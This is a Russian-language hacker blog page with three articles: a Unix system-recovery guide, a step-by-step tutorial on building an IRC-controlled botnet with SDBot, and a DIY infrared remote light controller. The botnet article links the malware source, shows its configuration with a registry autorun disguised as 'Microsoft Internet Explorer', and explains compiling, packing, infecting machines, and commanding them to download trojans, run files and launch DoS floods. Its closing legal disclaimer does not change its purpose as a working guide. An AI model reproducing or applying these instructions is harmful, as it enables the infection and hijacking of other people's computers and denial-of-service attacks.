XAKEPress

Взломай свой МОЗГ

Мастер-класс по реанимации никсов: методы борьбы со сбоями Linux и FreeBSD

UNIX-подобные операционные системы устроены так, что если в них что-то ломается, то они не пытаются самовосстановиться, а честно сообщают о случившемся. Дальнейшая судьба операционки зависит от квалификации владельца компа: новичок сразу затеет переустановку, матерый же юниксоид спокойно загрузится с LiveCD, наберет в терминале несколько команд и отправит комп на перезагрузку, довольно усмехнувшись. Дизайн UNIX настолько прост и прямолинеен, что ОС можно поднять с колен, в каком бы состоянии она ни находилась.

Всего существует шесть классов проблем, с которыми сталкиваются пользователи никсов:

  1. Загрузка. Затертая запись MBR, забытый пароль root.
  2. Оборудование. Подвисания и самопроизвольная перезагрузка ОС, паника ядра.
  3. Винчестеры. Затертая таблица разделов, выход из строя жесткого диска.
  4. Графическая подсистема. Неправильная настройка xorg.conf, отсутствующий видеодрайвер, тормоза.
  5. Драйвера. Все, что связано с нераспознанным оборудованием.
  6. Сеть. Неправильная настройка сетевых интерфейсов, неработающий DNS-резолвинг.

Мы рассмотрим способы борьбы с каждой из этих проблем.

Когда пингвин отказывается выходить на старт

Проблема затертой записи MBR загрузчиком другой операционной системы уже возведена в разряд запрещенной к обсуждению на многих тематических форумах, попала в многочисленные FAQ и глубоко сидит в печенках опытных пользователей. Нет в нашей стране новичка в Linux, который бы ни разу с ней не сталкивался. А между тем, решение очень простое: достаточно загрузиться с любого Linux LiveCD, открыть окно терминала и набрать заветную команду:

$ sudo grub-install /dev/sda

В большинстве ситуаций этой команды будет достаточно для возвращения загрузчика на законное место. Но если вместо глубокомысленного молчания grub-install разразится бранными ругательствами – дело плохо! Придется запустить командную строку grub:

$ sudo grub

Команда «find /boot/grub/stage1″, введенная в ответ на приглашение grub, должна выдать на экран имя дискового раздела, содержащего каталог /boot/grub. Далее все просто:

: root дисковый_раздел
: setup (hd0)
: quit

Куда реже страдают от проблемы затертого загрузчика пользователи FreeBSD, но такое случается и в с ними. Алгоритм восстановления записи MBR тут несколько иной:

  1. Загружаемся с первого или восстановительного диска FreeBSD.
  2. Выбираем пункт меню «Fixit», далее «CDROM/DVD».
  3. Набираем в открывшейся командной строке «boot0cfg -o packet ad0 && exit».
  4. Жмем на системном блоке кнопку Reset.

С MBR все. Теперь поговорим о забытом пароле пользователя root. Как же юниксоиды любят выдумывать длинные, запутанные пароли, а потом с успехом их забывать, и как же они радуются, узнав, что для восстановления пароля достаточно выполнить всего два простых действия. А именно – загрузиться в однопользовательском режиме и удалить пароль из базы пользователей с помощью команды vipw.

В Linux вход в однопользовательский режим осуществляется за счет передачи ядру опции single. Выбери в grub нужный пункт меню, нажми ‘e’, добавь в конец появившейся строки слово single и нажми <Enter>. Ядро благополучно загрузится и запустит /bin/sh от имени суперпользователя. Выполни команду vipw, сотри звездочку в поле пароля пользователя root, выйди из редактора и набери exit.

Чтобы попасть в однопользовательский режим FreeBSD, требуется нажать ‘4′ в ответ на загрузочное меню или набрать «boot -s» в командной строке загрузчика.

Железная болезнь

Часто ядро отказывается загружаться или корректно работать по причине кривой реализации ACPI в чипсете или BIOS’е материнской платы. Разработчики операционных систем уже устали ругаться по этому поводу; ядра Linux и FreeBSD содержат даже не десятки, а сотни воркэраундов для материнских плат, обладающих такой неприятной особенностью. Однако очевидно, что с момента поступления материнской платы в продажу и до обнаружения в ней ошибок проходит какое-то время, поэтому не стоит надеяться, что твоя свежекупленная бажная ASUS уже есть в черных списках ядра.

Проблемы с ACPI и подконтрольным ему IO-APIC могут проявляться по-разному: периодические зависания ОС, неработающая клавиатура и мышь, сообщения ядра «MP-BIOS bug: 8254 timer not connected to IO-APIC», но чаще всего «железный баг» дает о себе знать уже на этапе установки ОС. Инсталлятор просто входит в ступор во время копирования файлов.

К счастью, это легко обходится через явное отключение APIC и/или ACPI в ядре. Для Linux необходимо выбрать нужный пункт меню в загрузчике grub, нажать ‘e’, добавить в конец появившейся строки слово noapic и нажать ‘b’. Для фиксации изменений открываем файл /boot/grub/grub.conf и добавляем noapic ко всем строкам, начинающимся со слова kernel. Если и это не поможет, полностью отключаем ACPI через опцию «acpi=off».

Для FreeBSD достаточно нажать клавишу ‘2′, когда появится меню загрузчика, а затем зафиксировать изменения, добавив строку «hint.apic.0.disabled=1″ в loader.conf:

# echo "hint.apic.0.disabled=1" >> /boot/loader.conf

Периодические подвисания операционной системы или постоянные уходы ядра в панику могут свидетельствовать о том, что оперативная память дышит на ладан. Если подвисания случаются с периодичностью раз в час или тридцать минут, скорее всего, погорели только некоторые ячейки одной из планок. В случае выхода из строя всего модуля памяти ядро уйдет в панику при следующей же загрузке!

Проверить память на сбойность не составляет труда. Самый примитивный способ – запаковать и распаковать большой объем данных, например, дерево исходных текстов ядра:

$ tar -czf ~/src.tar.gz /usr/src && tar -xzf ~/src.tar.gz

Сбойные ячейки памяти вызовут коллизии при сверке контрольных сумм, и архиватор без замедления сообщит об этом.

Другой (более правильный) способ проверки заключается в использовании профессионального инструмента memtest86. Это самодостаточная программа, которая не требует операционной системы для своей работы. Она изначально присутствует в меню grub многих дистрибутивов и LiveCD Linux. Просто перезагрузи машину и выбери пункт меню memtest86. Проверка памяти начнется автоматически.

Программа memtest86 использует множество различных алгоритмов тестирования, поэтому проверка может затянуться надолго. Рекомендую запустить memtest86 на ночь, лечь спать, а утром проверить, нет ли в выводе красных строчек, сигнализирующих о сбойных ячейках.

Частые самопроизвольные перезагрузки машины, особенно во время запуска тяжелых приложений или игр, – следствие перегрева процессора или видеокарты. Проверь работоспособность кулеров и, в случае необходимости, замени их. Если времени на эту процедуру нет, а работать надо, попробуй снизить частоту процессора или чипа видеокарты.

Многие современные процессоры и материнские платы позволяют изменять тактовую частоту процессора «на лету», без перезагрузки компа. Обычно для этого предоставляется специальный интерфейс, расположенный в недрах каталога /sys в Linux или в одной из ветвей sysctl во FreeBSD.

Для манипулирования частотой и другими характеристиками видеопроцессора принято использовать кроссплатформенную утилиту nvclock. Запусти ее с флагом ‘-s’, чтобы узнать текущую частоту GPU:

# nvclock -s

А затем снизь ее примерно на 100 МГц:

# nvclock -n 300

Винты посыпались

Пользователи со стажем знают, что диапазон проблем, связанных с использованием жестких дисков, очень широк и простирается от механического повреждения в результате удара до случайно потертой таблицы разделов. В некоторых из них винчестер еще можно вернуть к жизни, но в большинстве случаев он либо уже умер, либо находится в предсмертном состоянии.

Чтобы не попасть впросак, специалисты рекомендуют периодически проверять состояние жесткого диска, используя утилиты для отображения статистики S.M.A.R.T., специального чипа, встроенного в жесткий диск. В *nix-системах тоже есть такие утилиты, самая известная из которых именуется smartctl.

Пакет smartmontools, содержащий программу smartctl, предустановлен почти в любом дистрибутиве Linux, а во FreeBSD доступен через систему портов (sysutils/smartmontools).

Запустим smartctl:

# smartctl -A /dev/sda

В появившейся на экране таблице нас интересуют только две строки: Reallocated_Sector_Ct и Temperature_Celsius. В последней колонке первой из них отражено количество переназначенных секторов. Значение, отличное от нуля, говорит о проблемах. Диск начинает сыпаться, и число переназначенных секторов будет только расти. Последняя колонка строки Temperature_Celsius содержит текущую температуру жесткого диска, которая не должна превышать 50-ти градусов (36-45 градусов – идеальные условия).

Значения S.M.A.R.T. – это всего лишь цифры, которые далеко не всегда имеют связь с реальным состоянием жесткого диска. Более того, исследования, проведенные компанией Google, показали, что в 60% процентах случаев вероятность гибели дисков никак не связана со значениями S.M.A.R.T., а единственный более-менее достоверный показатель – это количество переназначенных секторов.

Но что, если диск уже почти умер, а информация не может быть восстановлена из-за повторяющихся ошибок чтения или перемещения головки? Тогда при попытке копирования файлов ядро завалит dmesg сообщениями I/O error, а команда cp просто возвратит ошибку. Для начала следует попробовать отмонтировать раздел и слить информацию с помощью dd на другой жесткий диск (здесь и далее /dev/sda – сыплющийся диск, /dev/sdb – новый диск):

# dd if=/dev/sda of=/dev/sdb conv=noerror,sync

Если количество сбойных секторов на диске невелико, то dd скопирует диск, заполнив проблемные участки нулями. После этого останется только выполнить fsck для всех файловых систем и жить дальше с новым диском.

К сожалению, трюк с применением dd срабатывает не всегда. В некоторых ситуациях диск оказывается поврежденным настолько, что сбойные участки простираются на сотни тысяч или даже миллионы секторов подряд! Завершения отработки dd придется ждать несколько дней, за которые подопытный вполне может скончаться.

Лучшие умы планеты советуют использовать специальную утилиту dd_rescue, с помощью которой можно провести копирование диска с двух сторон: первый проход с начала диска, второй – с конца. В результате на новом диске окажется вся информация за исключением проблемного участка.

Делаем первый проход:

# dd_rescue -v -y 1G -l sda.log -o sda.bb \
/dev/sda /dev/sdb

Когда диск начнет безумно шелестеть, нажмем <Ctrl+C>, чтобы завершить копирование, и запускаем процесс копирования с конца:

# dd_rescue -r -v -y 1G -l sda.log -o sda.bb \
/dev/sda /dev/sdb

Останавливаем процесс копирования после продолжительного шелеста диска и отключаем умирающего.

Другая проблема – утрата таблицы разделов, которую еще совсем недавно было принято решать с помощью шестнадцатеричного редактора. Сегодня же проще применить утилиту gpart:

# gpart -W /dev/sda /dev/sda

Альтернатива gpart – testdisk, более мощная и гибкая программа с псевдо-графическим интерфейсом.

Причуды мистера X

За последнее время X.org стал на порядок интеллектуальнее, и проблемы с ним уже не являются серьезным препятствием. Теперь X-сервер умеет автоматически находить устройства ввода, подбирать правильные разрешение и частоту обновления для монитора. Во многих дистрибутивах настраивать его вообще не нужно, установочные скрипты сами генерируют правильную конфигурацию.

Но время от времени X-сервер дает сбои. Причем, зачастую виновным оказывается сам пользователь или система обновления пакетов. Если после загрузки вместо привычного окна логина ты видишь скучную черную консоль, значит, процедура запуска сервера завершилась с ошибками. Этому может быть сотня приин, начиная от отсутствия необходимого драйвера и заканчивая проблемами с каталогом /tmp. Самое разумное, что можно сделать – попробовать повторно запустить X-сервер командой startx и посмотреть, какие ошибки она выдаст на экран. В большинстве случаев этого оказывается достаточно для диагностики проблемы, но если причины сбоя остаются загадкой, следует обратиться за более подробным разъяснением к файлу /var/log/Xorg.0.log:

# grep EE /var/log/Xorg.0.log

Записывая логи, X-сервер помечает все ошибки маркером «(EE)», так что приведенная команда выведет только записи, сигнализирующие о проблемах.

Если чувствуешь, что ошибки самостоятельно тебе не исправить, просто выполни команду «X -configure», которая сгенерирует новый конфигурационный файл X.org.

Кроме сбоев, X-сервер может элементарно тормозить. В этом случае винить следует уже не пользователя или дистрибутив, а видеодрайвер. Современные графические тулкиты и некоторые среды рабочего стола (KDE4, например) практикуют перекладывание части работ по отрисовке графики на плечи графического ускорителя. Выливается это в скверные показатели производительности в системах, видеодрайвера которых не поддерживают функции 2D/3D-ускорения. В частности, этим страдает стандартный nvidia-драйвер nv. Чтобы решить проблему, зайди на сайт nvidia.com и скачай последний драйвер для своей ОС или сделай то же самое через систему управления пакетами.

Потерянный драйвер

Современные версии Linux и FreeBSD под завязку набиты драйверами даже для самого экзотического оборудования. Дни, когда для этих операционных систем приходилось индивидуально подбирать конфигурацию компа, прошли. Сегодня Linux и FreeBSD легко встают на любой современный сервер, домашний компьютер или лэптоп и не требуют специального конфигурирования. Загвоздка лишь в том, что драйвера для «железных новинок» появляются с некоторым опозданием, что вполне закономерно, но неприятно.

Если твоя свежекупленная железка никак не проявляет работоспособность, значит, ядро не подхватило ее во время загрузки. Такое может произойти в двух ситуациях: либо драйвер не был загружен во время инициализации системы, либо драйвера для такого устройства нет в ядре или модуле. В любом случае следует опросить шину PCI на предмет найденных устройств и загруженных драйверов. Для этого можно использовать утилиту lspci в Linux или pciconf во FreeBSD:

linux# lspci -v
freebsd# pciconf -l -v

На экране ты увидишь все найденные во время инициализации ядра устройства и закрепленные за ними модули (драйвера). В первом случае имя модуля будет указано в строке «Kernel modules:», во втором – в первой строке каждого устройства.

В моем примере слово nfe0 в самом начале отражает имя устройства (сетевая карта) и закрепленный за ним драйвер nfe. Если вместо имени ты увидишь слово «none» – значит, ядро не загрузило соответствующий драйвер, и пора отправляться на его поиски. Введи полное имя устройства и название операционной системы в строку поиска google, и ты найдешь имя необходимого модуля или сообщение о том, что данное устройство пока не поддерживается ядром.

Если поиск драйвера не принес результатов, остается одно – ждать выхода новой версии ядра/ОС и надеяться, что в нем появится поддержка твоего оборудования. Владельцы неподдерживаемых сетевых адаптеров могут попытать счастья с фреймворком NDISWrapper, который представляет собой модуль ядра Linux. Он реализует прослойку для работы драйверов NDIS (Network Driver Interface Specification), предназначенных для Windows.

Установи пакет ndiswrapper, скопируй с диска каталог с официальным драйвером для Windows, найди в нем INF-файл и выполни эту команду:

# ndiswrapper -i driver.inf

Проверь, загрузился ли драйвер:

# ndiswrapper -l

Все в порядке? Загружай модуль и конфигурируй сеть:

# modprobe ndiswrapper

Латаем сети

Проблемы с подключением к сети – бич новичков в Linux. Большинство дружелюбных к пользователю дистрибутивов находят сетевые интерфейсы сами и пытаются настроить их средствами DHCP. Срабатывает это далеко не всегда. Перво-наперво запусти команду «dmesg | less» в Linux или «less /var/run/dmesg.boot» во FreeBSD и найди в ее выводе сетевой адаптер, который ты используешь для выхода в интернет или локальную сеть. Например:

nfe0: <NVIDIA nForce2 MCP2 Networking Adapter> port …

Первое слово – это название сетевого интерфейса (в Linux он будет именоваться eth0 или eth1). Запусти команду ifconfig без аргументов и найди в ее выводе это название. Если его нет – значит, интерфейс неактивен, если же в выводе нет строки inet – значит, ему не присвоен IP-адрес. Активировать интерфейс можно командой:

# ifconfig интерфейс inet IP-адрес netmask сетевая-маска up

Обычно для выхода в локальную сеть не требуется ввод дефолтового шлюза, так что после исполнения этой команды доступ к локальной сети должен открыться. В случае, если стандартный шлюз все-таки используется, выполни следующую команду:

# route add default gw IP-шлюза

Твой провайдер может использовать PPPoE или PPTP-сервер для предоставления доступа к интернету. За сим я прощаюсь. Удачи!

Ноябрь 7, 2009 Опубликовал arthurbabark | UNIXOID | | No Comments Yet

Свой ботнет – это просто

В этой статье я расскажу о том, как можно завести свой ботнет, покажу обзор самых популярных бот-программ на сегодняшний день, установку и настройку ботов на примере [SD]-Bot. Но, для начала, объясню что такое боты и ботнет. Ботнет – это N-ое количество компьютеров зараженных специальным трояном, который объединяет этот компьютер и остальные зараженные компьютеры в одну единую сеть, которой управляет «хозяин». Бот – это компьютер, на котором установлена бот-программа, при помощи которой «хозяин» может управлять этим компьютером. Боты применяются чаще в хакерских целях, чем в вычислительных. В основном из зараженной машины бот-программа делает «DoS-зомби» которая подчиняется своими хозяину. Ботнетом можно управлять 3 видами: HTTP/IRC/MAIL. На сегодняшний день, самые популярные виды – это HTTP и IRC. В этой статье, я покажу как завести свою бот-сеть, которая будет управляться посредством IRC.

Большинство ботов используют так называемую «stealth» технологию, которая позволяет трояну быть полностью невидимым в системе и юзер даже не будет подозревать что в его системе находиться троян. Некоторые боты-черви используют технологию самораспространения, благодаря нашумевшим дырам в винде, например брешь в службе RPC, боты способны сами распространяться по сети, заражая ежедневно тысячи компьютеров, обычно такие боты пишутся под заказ и стоят много денег. Но не все так плохо как кажется на первый взгляд. Существует множество «public» ботов которые может скачать любой желающий и создать свою бот-сеть. Вот обзор самых популярных паблик-ботов:

AgoBot – Пожалуй самый известный/лучший/с большими возможностями, такими как: DoS/Граббинг паролей/Стелс/Обход фаерволлов и множество других возможностей. К сожалению автор этого бота сейчас сидит в тюрьме, но исходники его творения ушли в сеть, и в данный момент насчитывается около 100(!!) модификация этого бота.

PhatBot – Нашумевшая модификация AgoBot’a с кучей возможностей, отличительная черта: самораспространение через баги в RPC, LSASS и т.п.

Rx-Bot – Достаточно новый бот, не уступающий возможностям AgoBot.

В моем обзоре я возьму другого бота для практики – [SD]-Bot от русского автора [SD].Это пожалуй самый простенький и стабильный бот, обладающий функциями DoS/Администрирование IRC-канала (не уступает возможностям eggdrop). Исходники этого бота, ты найдешь в архиве со статьей (точнее тут: http://inattack.ru/download/art/sdbot05b-AE.zip). Как ты уже понял, бот управляется через IRC, поэтому зарегистрируем канал для наших зомби ;) .Для этого заходим на наш будущий канал и вбиваем туда следующую команду:

/msg chanserv register #канал пароль краткое_описание_канала (например канал Васи Пупкина)

Теперь этот канал принадлежит нам. Теперь о боте. Для компиляции необходим LCC или Visual Studio 6.У меня стоит Visual Studio 7 .NET и все нормально собирается. Не забываем о том, что во многих public-ботах умышленно допущены ошибки для защиты от «детей», поэтому если ты собираешься разводить серьезную бот-сеть, то тебе необходимы знания Си. Итак распаковываем исходники и открываем файл SDBOT05A.CPP.Находим там строчку:

irc_sendf2(sock, «JOIN %s %s\r\n», channel, chanpass)

и меняем ее на:

irc_sendf2(sock, «JOIN %s %s\r\n», channel, chanpass);

Все, ошибка исправлена, теперь перемещаемся на строчку выше и ищем следующую строчку:

// bot configuration
const char botid[] = «set_me»; // ID бота,можно вписывать что угодно, апример «mYz0mb1e»
const char password[] = «set_me»; // Пароль на бота.
const char server[] = «set_me»; // IRC-сервер,пример: «irc.dalnet.ru»
const int port = 6667; // Порт сервера, оставьте как есть.
const char server2[] = «»; // необязательный параметр, на случай если 1 сервер будет не доступен, то бот законнектится на второй
const int port2 = 6667; // Аналогично
const char serverpass[] = «»; // Пароль от сервера(оставьте пустым)
const char channel[] = «set_me»; // Канал ,где будут отчитываться боты, пример: «#ru24″
const char chanpass[] = «»; // Пароль от канала (не обязательный параметр, если ваш канал не требует авторизации)
const char filename[] = «win.exe»; // Название файла-трояна(бот) которое будет видно в процессах.
const BOOL regrun = TRUE; // Использовать ключ в реестре для автозагрузки(включено по умолчанию)
const char valuename[] = «Microsoft Internet Explorer»; // Название ключа в реестре
const char prefix = ‘.’; // Префикс название у ботов(необязательный параметр)
const char version[] = «sdbot v0.5a by [sd]«; // Метка бота ;)

Остальные параметры нам не интересны. Все, бот готов к эксплуатации. Теперь компилируем это чудо, после этого сжимаем его UPX’ом чтобы уменьшить размер. Теперь заходим на IRC-канал,запускаем у себя трояна и видим что на канал зашел бот :) Теперь можно давать команды боту (или ботам, если вы уже успели заразить пару компов ;) )

Пример:

<< Nitrex >>: .about
<sdbot1>: sdbot version 0.4c by [sd] (sdbot@mail.ru). homepage: sdbot.n3.net/
<sdbot2>: sdbot version 0.4c by [sd] (sdbot@mail.ru). homepage: sdbot.n3.net/
<sdbot3>: sdbot version 0.4c by [sd] (sdbot@mail.ru). homepage: sdbot.n3.net/

Как видим, все боты послушно выполнили нашу команду – показать инфу о создателе бота. Но тут есть небольшая неувязка: если ты собираешься создать серьезную бот-сеть состоящую из нескольких тысяч компьютеров-зомби, то боты просто зафлудят сообщениями «хозяина». В этом случае ты должен убрать из исходного кода все printf()’ы и sprintf()’ы чтобы мессаги не выводились. Ну а теперь я приведу список самых нужных команд для [SD]-Бота:

cycle <seconds> <channel> – уйти на N-кол-во времени с канала, а потом зайти.
die – самоубийство :)
execute <visibility> <file> [parameters] – запустить файл на компьютере жертвы
download <url> <destination> <action> – скачать файл на комьютер-зомби. Очень полезно когда нужно затроянить всех зомби другим трояном или модификацией бота!
ping <host> <# of pings> <packet size> <timeout> – великий и ужасный ПИНГ aka DoS ;)

Остальные команды ты найдешь в файле commandref.html. НО ПОМНИ! Все что ты делаешь это противозаконно и попадает под 273 статью УКРФ, данная статья дана лишь для ознакомления и расширения кругозора читателя. Ну и для твоей же безопасности, ведь ты теперь знаешь, что делать если твоя тачка странно себя ведет, ведь так ;) ?

Октябрь 26, 2009 Опубликовал arthurbabark | Uncategorized | | No Comments Yet

Инфракрасная лень. Управлять с пульта можно не только телевизором

Устав вставать с дивана, чтобы в очередной раз выключить свет в комнате, я задумался, как можно облегчить себе жизнь. Взгляд упал на инфракрасный пульт управления от старого телевизора. «Почему бы не поуправлять светом с его помощью?» – подумал я. И взялся за реализацию идеи.

Конечно, в продаже есть нормальные, «цивильные» системы дистанционного управления светом в комнатах. Обычно они идут в комплекте, – как части разрекламированного «умного дома». Но мы же хакеры? Поэтому будем делать умный дом своими руками, что в разы дешевле и интереснее.

Пульт

Понадобится нам всего ничего: ИК-пульт (подойдет практически любой), микроконтроллер, ИК-датчик и так называемые твердотельные реле. К цифровой ножке контроллера привесим ИК-датчик, который, поймав из эфира нужные данные, отошлет на реле импульс включения/выключения.

Начнем с пульта. Любой ПДУ для нас, как электронщиков, имеет две характеристики. Это частота модуляции, так называемая несущая, и метод кодирования сигнала.
С частотой все просто – это то, насколько быстро «моргает» излучатель. Как правило, попадаются частоты 36 кГц, 38 кГц и 40 кГц. А вот с методами модуляции придется повозиться, так как каждый производитель использует свой протокол. Не факт, что метод кодирования, использовавшийся на моем пульте, подойдет к твоему. Лично я тыкал в кнопки и смотрел сигнал с приемника на осциллографе. У тебя осцильника может и не быть, но информация в интернете по протоколам разных производителей ищется очень легко. В любом случае – подробнее по ним читай далее, в отдельной главе.

Не забудь проверить пульт на признаки жизни, это сэкономит немало нервов. Направь на него объектив цифровой камеры своего мобильника и понажимай кнопочки. Матрица камеры воспримет излучение работающего пульта как ярко-синее, почти белое.

Контроллер

Схему я делал на оказавшемся под рукой Atmel AT91SAM7X128. Это очень крутой МК архитектуры ARM7. Главный его плюс – не нужен программатор: контроллер замечательно шьется через встроенный USB-порт. А вообще, «Атмелы» всегда славились продвинутой периферией в своих контроллерах. Поэтому советую приобрести хотя бы один, поверь, для него найдется применение в любой задаче. Конкретно в нашем случае, такая примитивная функция, как расшифровка сигнала с пульта и воспроизведение некоторых действий, могла бы решиться намного более простым 8-битным контроллером, а использование AT91SAM7X – пушка в вопросе обстреливания воробьев. Но за дешевизной мы не гонимся, а гонимся за удобством программирования, наглядностью и переносимостью на другие проекты.

Итак, контроллер в нашей задаче должен иметь, как минимум:

  • Один логический вход, куда мы будем подключать ИК-сенсор;
  • Один логический выход, где будет висеть реле для включения света в комнате. Если хочешь сделать контроллер «умнее», то на досуге приделай к нему ЖК-дисплей с выводимой информацией (для управления ему понадобится еще около 8-ми логических выводов);
  • Из периферии – один таймер для замера задержек.

Датчик

Также понадобится ИК-датчик на нужную тебе несущую частоту. Добывается он в магазинах электроники, барахолках или в старых телевизорах/видиках. Скорее всего, называться он будет Vishay TSOP18XX (на XX кГц). Питается от 5 или 3,3 В, внутри имеет все необходимые фильтры и усилители, а на выход отдает уже нормальный логический сигнал, который можно без посредников заводить на логическую ножку микросхемы.

Датчик выбирай совместимым по несущей частоте с твоим ПДУ. Настроенный на другую частоту тоже будет работать, но только если светить в него в упор. У моего Sony RM-836 несущая равна 36 кГц, соответственно, и сенсор я купил TSOP1836, – он наиболее часто используемый.

Реле

Наша задача – рулить довольно мощной и питающейся от большого напряжения нагрузкой (освещением в комнате, например). Естественно, слабый и работающий от 3,3 В микроконтроллер не сможет зажечь лампочку, да и 220 вольтам в нашей схеме пока что взяться неоткуда. Для решения таких задач и были придуманы реле (от relay – «эстафета»). Эти приборы могут малыми силами замыкать и размыкать схему, по которой течет большой ток. Классический вариант – электромагнитное реле (с магнитом внутри, коммутирующим нашу цепь притягиванием к себе так называемого якоря).

Вообще, термином «реле» можно с натяжкой обозвать любой выключатель, даже тот, что висит на стенке, приводится в действие рукой и включает освещение.
У электромагнитных реле есть недостаток. Из-за наличия движущихся частей и электромагнита сами релюшки будут требовать немаленькое напряжение и потреблять нехилый ток, который микросхема выдать не в силах. Делать всякие мегаусиления не будем, а воспользуемся так называемыми твердотельными реле. Они требуют на вход TTL (3,3-5 В) логику и могут коммутировать переменные токи до нескольких ампер. Внешне они могут выглядеть как обыкновенные MOSFET-транзисторы с местом для прикручивания радиатора, а внутри являются тиристорами в паре.

В нашей лаборатории уже есть реле, сделанные из тиристоров 25TTS фирмы Vishay(http://www.vishay.com/docs/94384/94384.pdf). Ты тоже можешь подобрать себе подобное в магазинах/на барахолках, только следи за максимальным пропускаемым током (Мощность лампочки=Ток*Напряжение, не забыл?), а также – возможностью работать с переменным напряжением и минимальным током на затвор. Полагаю, придется привесить на вход реле еще один транзистор, но это не больно :) .

В общем, микроконтроллер в нужный момент будет подавать на реле (через транзистор или оптотриак) логическую единицу (3,3 В), а реле – пропускать через себя 220 В переменного тока.

Протоколы

Если частоты модуляции в ИК-пультах хоть как-то стандартизированы, то с протоколами что-то не сложилось. Любая компания-производитель выдумывает свои собственные.

«Низкоуровневых» протоколов распространено два. Это RC5 (так называемый манчестерский код), использующийся Philips, и Sony, изобретенный фирмой Sony.
Протокол Манчестера часто используется в линиях передачи данных, когда увеличение заряда или «яркости» линии чревато «ослеплением» сенсора (подробнее – смотри врезку). Вкратце, единица представляется переходом из 1 в 0, а ноль – из 0 в 1.

Протокол Sony, в отличие от RC5, не кодирует данные переходами из состояния в состояние, а использует для этого их длительности (!). Например, сначала идет одиночный импульс «1», а потом, в зависимости от передаваемого, одиночная или двойная пауза (вообще, что считать паузой, а что импульсом – вопрос спорный, транзистор внутри сенсора все равно все инвертирует). Скажем, единица будет выглядеть как «1-0-0», а ноль – как «1-0».

С «высокоуровневыми» протоколами – в разы сложнее. Поверх низкоуровневых модуляций уже передаются те самые данные, которые и отличают одну нажатую кнопку от другой. Здесь советовать что-либо сложно, количество стартовых/стоповых бит, LSB/MSB очередности и разделение команды-данные всегда будет свои. Тычь осциллографом в сенсор, изучай передаваемые данные, ну и про Google тоже забывать не стоит. Полагаю, протоколы для большинства пультов уже расшифрованы и лежат в открытом доступе.

Будешь читать алгоритм – не путай низкоуровневые нули и единицы (свечение pulse и space) с логическими, получаемыми после расшифровки.

Алгоритм

У меня оказался пульт от телевизора Sony ХХХ, поэтому прошивку для контроллера я писал, исходя из местного протокола. За «единичный интервал» берем 0,6 мс, тогда стартовый ноль – это 4 интервала, единица занимает 1+2 интервала, а ноль – 1+1. Последовательность действий в моем случае примерно такова:

  • Ставим прерывание на срабатывание в 0 (когда данные не передаются, транзистор в датчике закрыт, на ножке единица).
  • Оказавшись внутри прерывания, сбрасываем и запускаем таймер.
  • Ставим прерывание на 1. Стартовый ноль должен быть длиной 2.4 мс.
  • Внутри прерывания замеряем, сколько натикал таймер:
  • Если натикало около 2.4 мс, то мы поймали полезные данные;
  • Если нет, то поймали что-то не то.
  • [Метка!] В любом случае, ставим прерывание снова на 0, да к тому же сбрасываем счетчик (если продолжаем принимать пакет).
  • Сработать оно должно примерно через 0.6 мс. Если прерывание настало через другой промежуток времени, то сбрасываем состояние. А если через 0.6, – то мы поймали одиночную единицу. Следующая последовательность наконец-то сообщит нам, что имел в виду пульт. Сбрасываем счетчик и ставим прерывание на 1.
  • В нем смотрим, через какой промежуток времени мы тут оказались. Если через 1.2 мс, то к нам приехала единица, а если через 0.6 – то нолик. Запихиваем его в «командный» байт ногами вперед (LSB) и идем циклом в метку [Метка!].
  • Как приняли 7 командных бит, принимаем 5 адресных.
  • По протоколу через 40 мкс пульт повторяет последовательность, поэтому если хочешь дополнительной надежности – приступай к действию только после второй повторенной команды.
  • Ну, а если все биты совпали с тем, что мы ожидаем, то производим действие (например, пищим лампочкой).

Как-то так. Страшно, но в готовом коде букв будет в разы меньше.

Сборка и испытание

У меня уже была отладочная плата на контроллере ARM7. Вся периферия – отключена, к одному цифровому входу была привешена OUT-ножка датчика, а к выходу я временно привесил динамик-пищалку, чтобы не играться с высоким напряжением раньше времени. Datasheet порекомендовал мне привесить конденсатор 4.7 мкФ между питанием и землей датчика, ну а я был как бы не против.

Затем я щупал осциллографом выход ИК-датчика, тыкал в кнопки пульта и пытался найти соответствие между протоколом и видимым мной на экране. После некоторых моих правок и перезаливок кода динамик стал наконец-то пищать, сообщая, что контроллер распознал мои нажатия.

Аплодисменты!

Теперь ты можешь управлять с обыкновенного пульта дистанционного управления любой техникой в доме. Одной релюшкой с лампочкой все, естественно, не ограничивается, и ты волен привесить на контроллер какие угодно функции, хватило бы фантазии и усидчивости.

Да, минусы в моем проекте тоже есть. Во-первых, устройство не умеет снаружи конфигурироваться через USB или UART. Захочешь поменять кнопку, на которую будет реагировать контроллер, – перекомпилируй и перепрошивай все по новой. Сам контроллер тоже слишком крут для таких задач. Я его выбрал за универсальность, но в готовом «серийном» устройстве, висящем в шкафу на стенке, понятно, придется использовать что-нибудь подешевле.

Надеюсь, сидя на диване и руля техникой в доме, ты не заработаешь геморрой. Мой тебе совет, пока не поздно – выбрось пульт вместе с телевизором в окно и иди гулять. Весна, как-никак.

Реле и драйверы

Несмотря на плюсы твердотельных реле, минусов у них тоже более чем достаточно. Во-первых, ток управления в большинстве случаев требуется такой, какой ножка микроконтроллера выдать не в состоянии – просто сгорит. Во-вторых, многим релюшкам требуется 5В на включение, тогда как МК твой выдает только 3,3 В (по спецификации CMOS). В общем, я тебе категорически не рекомендую подключать релюшку напрямую к контроллеру, даже если тока с напряжением достаточно. Правильнее и дешевле – включать его через полевой транзистор! Для наших задач подойдет любой, например, IRML2803 фирмы International Rectifier.

Теперь о том, как выбрать реле. Первая попавшаяся релюшка KSD210AC8 фирмы Cosmo Electronics уже подходит нам (http://cosmo-ic.com/object/products/KSD210AC8.pdf). Управляется, минимум, 4 вольтами, поэтому надо добыть 5 или 12 вольт, но на плате они всяко есть. То, что управляет чем-то мощным (у нас это – реле), по терминологии зовется драйвером. В данном случае драйвер – просто полевой транзистор.

Вместо обычного транзистора можно использовать его же, но с опторазвязкой, так во многих случаях безопаснее и правильнее, несмотря на наличие развязки уже внутри релюшки. Еще совет. Выбирай себе реле с максимальным выходным током в 2-3 раза больше, чем тот, с которым оно будет использоваться. Иначе – готовься к тому, что в шкафу будет адский кипятильник!

Протоколы Манчестер и EFM

Допустим, тебе надо по очень длинной линии с кучей помех (неважно, оптическая она или просто медный провод) передать кучку единиц. Стартовые и стоповые биты не спасут от обилия сигналов с «высоким уровнем», и датчик/триггер на том конце линии просто перестает адекватно воспринимать данные. Поэтому для сред с высоким уровнем помех используются так называемые self-clocking модуляции.

